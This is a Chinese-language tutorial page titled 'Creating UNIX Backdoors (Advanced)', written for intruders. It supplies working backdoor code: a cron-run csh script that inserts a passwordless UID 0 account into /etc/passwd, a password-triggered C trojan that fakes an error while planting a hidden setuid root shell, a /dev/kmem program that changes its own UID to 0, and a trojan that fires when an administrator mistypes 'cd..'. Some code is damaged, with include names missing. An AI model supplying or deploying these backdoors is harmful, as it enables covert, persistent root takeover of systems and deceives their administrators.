歡迎來到Linux教程網
Linux教程網
Linux教程網
Linux教程網
Linux教程網 >> Unix知識 >> 關於Unix >> 創建UNIX後門(高級篇)

創建UNIX後門(高級篇)

日期:2017/2/28 11:29:00   编辑:關於Unix


Crontab 程序對於系統管理員來說是非常有用的。Cron 服務用於計劃程序在特定時間(月、日、周、時、分)運行。如果你足夠聰明,就應該加以利用,使之為我們制造“後門”!通過 Cron 服務,你可以讓它在每天凌晨 2:00 (這個時候網管應該睡覺了吧。)運行後門程序,使你能夠輕易進入系統干你想干的事,並在網管起來之前退出系統。根用戶的 crontab 文件放在 /var/spool/crontab/root 中,其格式如下:
(1) (2) (3) (4) (5) (6)
0 0 * * 3 /usr/bin/updatedb
1. 分鐘 (0-60)
2. 小時 (0-23)
3. 日 (1-31)
4. 月 (1-12)
5. 星期 (1-7)
6. 所要運行的程序
以上內容設置該程序於每星期三 0:0 運行。要在 cron 建立後門,只需在 /var/spool/crontab/root 中添加後門程序即可。例如該程序可以在每天檢查我們在 /etc/passwd 文件中增加了用戶帳號是否仍然有效。以下是程序示例:
0 0 * * * /usr/bin/retract
<++> backdoor/backdoor.sh
#!/bin/csh
set evilflag = (`grep eviluser /etc/passwd`)
if($#evilflag == 0) then
set linecount = `wc -l /etc/passwd`
cd
cp /etc/passwd ./temppass
@ linecount[1] /= 2
@ linecount[1] += 1
split -$linecount[1] ./temppass
echo "Meb::0:0:Meb:/root:/bin/sh" >> ./xaa
cat ./xab >> ./xaa
mv ./xaa /etc/passwd
chmod 644 /etc/passwd
rm ./xa* ./temppass
echo Done...
else
endif
<-->
[綜合]
當然,我們可以編寫木馬程序,並把它放到 /bin 目錄下。當以特定命令行參數運行時將產生一個 suid shell。以下是程序示例:
<++> backdoor/backdoor3.c
#include
#define pass "triad"
#define BUFFERSIZE 6
int main(argc, argv)
int argc;
char *argv[];{
int i=0;
if(argv[1]){
if(!(strcmp(pass,argv[1]))){
system("cp /bin/csh /bin/.swp121");
system("chmod 4755 /bin/.swp121");
system("chown root /bin/.swp121");
system("chmod 4755 /bin/.swp121");
}
}
printf("372f: Invalid control argument, unable to initialize. Retrying");
for(;i<10;i++){
fprintf(stderr,".");
sleep(1);
}
printf("\nAction aborted after 10 attempts.\n");
return(0);
}
<-->
[變種]
以下程序通過在內存中尋找你所運行程序的 UID,並將其改為 0,這樣你就有了一個 suid root shell 了。
<++> backdoor/kmemthief.c
#include
#include
#include
#include
#include
#include
#include
#define pass "triad"
struct user userpage;
long address(), userlocation;
int main(argc, argv, envp)
int argc;
char *argv[], *envp[];{
int count, fd;
long where, lseek();
if(argv[1]){
if(!(strcmp(pass,argv[1]))){
fd=(open("/dev/kmem",O_RDWR);
if(fd<0){
printf("Cannot read or write to
/dev/kmem\n");
perror(argv);
exit(10);
}
userlocation=address();
where=(lseek(fd,userlocation,0);
if(where!=userlocation){
printf("Cannot seek to user page\n");
perror(argv);
exit(20);
}
count=read(fd,&userpage,sizeof(struct user));
if(count!=sizeof(struct user)){
printf("Cannot read user page\n");
perror(argv);
exit(30);
}
printf("Current UID: %d\n",userpage.u_ruid);
printf("Current GID: %d\n",userpage.g_ruid);
userpage.u_ruid=0;
userpage.u_rgid=0;
where=lseek(fd,userlocation,0);
if(where!=userlocation){
printf("Cannot seek to user page\n");
perror(argv);
exit(40);
}
write(fd,&userpage,((char *)&(userpage.u_procp))-((char *)&userpage));
execle("/bin/csh","/bin/csh","-i",(char *)0, envp);
}
}
}
<-->
[“笨”方法]
你有沒有曾經試過在 UNIX 系統下錯把 "cd .." 輸入為 "cd.."?這是由於使用 MS Windows 和 MS-DOS 養成的習慣。這種錯誤網管是否也會犯呢?如果是這樣的話,可不可以讓他為我們做點“貢獻”呢?:) 例如當他輸入 "cd.." 時,會激活我們的木馬程序。這樣我們就不必登錄到系統去激活木馬了。以下是程序示例:
<++> backdoor/dumb.c
/*
本程序可在管理員偶然地輸入 cd.. 時向 /etc/passwd 文件添加一個 UID 0 帳號。但同時它也實現 cd .. 功能,從而騙過管理員。
*/
#include
#include
main()
{
FILE *fd;
fd=fopen("/etc/passwd","a+");
fprintf(fd,"hax0r::0:0::/root:/bin/sh\n");
system("cd");
}
<-->
Copyright © Linux教程網 All Rights Reserved